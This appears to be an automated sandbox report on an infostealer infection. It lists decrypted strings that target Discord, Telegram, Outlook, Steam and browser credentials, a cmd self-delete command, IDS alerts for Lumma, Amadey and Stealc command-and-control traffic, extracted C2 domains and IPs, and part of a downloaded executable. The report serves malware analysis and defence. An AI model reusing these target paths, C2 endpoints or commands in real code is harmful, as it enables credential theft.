Source: 33.0.num.exe.850000.0.unpack String decryptor: open
Source: 33.0.num.exe.850000.0.unpack String decryptor: /c start
Source: 33.0.num.exe.850000.0.unpack String decryptor: %DESKTOP%
Source: 33.0.num.exe.850000.0.unpack String decryptor: %APPDATA%
Source: 33.0.num.exe.850000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 33.0.num.exe.850000.0.unpack String decryptor: %USERPROFILE%
Source: 33.0.num.exe.850000.0.unpack String decryptor: %DOCUMENTS%
Source: 33.0.num.exe.850000.0.unpack String decryptor: %PROGRAMFILES%
Source: 33.0.num.exe.850000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 33.0.num.exe.850000.0.unpack String decryptor: %RECENT%
Source: 33.0.num.exe.850000.0.unpack String decryptor: *.lnk
Source: 33.0.num.exe.850000.0.unpack String decryptor: files
Source: 33.0.num.exe.850000.0.unpack String decryptor: \discord\
Source: 33.0.num.exe.850000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 33.0.num.exe.850000.0.unpack String decryptor: \Local Storage\leveldb
Source: 33.0.num.exe.850000.0.unpack String decryptor: \Telegram Desktop\
Source: 33.0.num.exe.850000.0.unpack String decryptor: key_datas
Source: 33.0.num.exe.850000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 33.0.num.exe.850000.0.unpack String decryptor: map*
Source: 33.0.num.exe.850000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 33.0.num.exe.850000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 33.0.num.exe.850000.0.unpack String decryptor: F8806DD0C461824F*
Source: 33.0.num.exe.850000.0.unpack String decryptor: Telegram
Source: 33.0.num.exe.850000.0.unpack String decryptor: Tox
Source: 33.0.num.exe.850000.0.unpack String decryptor: *.tox
Source: 33.0.num.exe.850000.0.unpack String decryptor: *.ini
Source: 33.0.num.exe.850000.0.unpack String decryptor: Password
Source: 33.0.num.exe.850000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 33.0.num.exe.850000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 33.0.num.exe.850000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 33.0.num.exe.850000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 33.0.num.exe.850000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 33.0.num.exe.850000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 33.0.num.exe.850000.0.unpack String decryptor: 00000001
Source: 33.0.num.exe.850000.0.unpack String decryptor: 00000002
Source: 33.0.num.exe.850000.0.unpack String decryptor: 00000003
Source: 33.0.num.exe.850000.0.unpack String decryptor: 00000004
Source: 33.0.num.exe.850000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 33.0.num.exe.850000.0.unpack String decryptor: Pidgin
Source: 33.0.num.exe.850000.0.unpack String decryptor: \.purple\
Source: 33.0.num.exe.850000.0.unpack String decryptor: accounts.xml
Source: 33.0.num.exe.850000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 33.0.num.exe.850000.0.unpack String decryptor: token:
Source: 33.0.num.exe.850000.0.unpack String decryptor: Software\Valve\Steam
Source: 33.0.num.exe.850000.0.unpack String decryptor: SteamPath
Source: 33.0.num.exe.850000.0.unpack String decryptor: \config\
Source: 33.0.num.exe.850000.0.unpack String decryptor: ssfn*
Source: 33.0.num.exe.850000.0.unpack String decryptor: config.vdf
Source: 33.0.num.exe.850000.0.unpack String decryptor: DialogConfig.vdf
Source: 33.0.num.exe.850000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 33.0.num.exe.850000.0.unpack String decryptor: libraryfolders.vdf
Source: 33.0.num.exe.850000.0.unpack String decryptor: loginusers.vdf
Source: 33.0.num.exe.850000.0.unpack String decryptor: \Steam\
Source: 33.0.num.exe.850000.0.unpack String decryptor: sqlite3.dll
Source: 33.0.num.exe.850000.0.unpack String decryptor: browsers
Source: 33.0.num.exe.850000.0.unpack String decryptor: done
Source: 33.0.num.exe.850000.0.unpack String decryptor: soft
Source: 33.0.num.exe.850000.0.unpack String decryptor: \Discord\tokens.txt
Source: 33.0.num.exe.850000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 33.0.num.exe.850000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 33.0.num.exe.850000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 33.0.num.exe.850000.0.unpack String decryptor: https
Source: 33.0.num.exe.850000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 33.0.num.exe.850000.0.unpack String decryptor: POST
Source: 33.0.num.exe.850000.0.unpack String decryptor: HTTP/1.1
Source: 33.0.num.exe.850000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 33.0.num.exe.850000.0.unpack String decryptor: hwid
Source: 33.0.num.exe.850000.0.unpack String decryptor: build
Source: 33.0.num.exe.850000.0.unpack String decryptor: token
Source: 33.0.num.exe.850000.0.unpack String decryptor: file_name
Source: 33.0.num.exe.850000.0.unpack String decryptor: file
Source: 33.0.num.exe.850000.0.unpack String decryptor: message
Source: 33.0.num.exe.850000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 33.0.num.exe.850000.0.unpack String decryptor: screenshot.jpg
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53858 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53860 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53862 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53864 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53865 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53869 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53870 version: TLS 1.2
Source: Binary string: my_library.pdbU source: cc6c7213b6.exe, 00000010.00000003.2171127165.00000000051EB000.00000004.00001000.00020000.00000000.sdmp, cc6c7213b6.exe, 00000010.00000002.2217073879.0000000000D4C000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: my_library.pdb source: cc6c7213b6.exe, 00000010.00000003.2171127165.00000000051EB000.00000004.00001000.00020000.00000000.sdmp, cc6c7213b6.exe, 00000010.00000002.2217073879.0000000000D4C000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: OR17DXDL5BQ5H62NVD1DH.exe, 00000003.00000003.1631060528.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, OR17DXDL5BQ5H62NVD1DH.exe, 00000003.00000002.1704913187.0000000000042000.00000040.00000001.01000000.00000006.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: number of queries: 1485
Source: firefox.exe Memory has grown: Private usage: 1MB later: 193MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.8:54566 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.8:59803 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.8:64255 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.8:51995 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49711 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49708 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49710 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49705 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:58850 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49712 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49709 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.8:49729 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49724 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49725
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:52351 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.8:54120 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.8:59240 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.8:50916 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49734 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49732 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49735 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49736 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49737 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49738 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49740 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49742 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49744 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49745 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.8:53084 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.8:62416 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49749 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49750 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49756 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.8:54190 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49757 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49759 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49763 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49775 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:56160 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49778 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49779 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49785 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49788 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:49787 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49793 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:65390 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.8:57367 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.8:52744 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:53857 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.8:56951 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53858 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53860 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53862 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53864 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53867 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53869 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53865 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:53868 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.8:53870 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49705 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49708 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49742 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49749 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49756 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49756 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:53860 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:53860 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49759 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49759 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:53858 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:53858 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49788 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:53862 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:53869 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49787 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:53870 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49712 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49734 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49734 -> 188.114.96.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: thumbystriw.store
Source: Malware configuration extractor URLs: fadehairucw.store
Source: Malware configuration extractor URLs: navygenerayk.store
Source: Malware configuration extractor URLs: founpiuer.store
Source: Malware configuration extractor URLs: necklacedmny.store
Source: Malware configuration extractor URLs: scriptyprefej.store
Source: Malware configuration extractor URLs: presticitpo.store
Source: Malware configuration extractor URLs: crisiwarny.store
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 11:18:24 GMTContent-Type: application/octet-streamContent-Length: 2762240Last-Modified: Thu, 31 Oct 2024 10:29:21 GMTConnection: keep-aliveETag: "67235c01-2a2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 af 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 76 64 6b 67 61 6a 6a 00 e0 29 00 00 a0 00 00 00 c6 29 00 00 3a 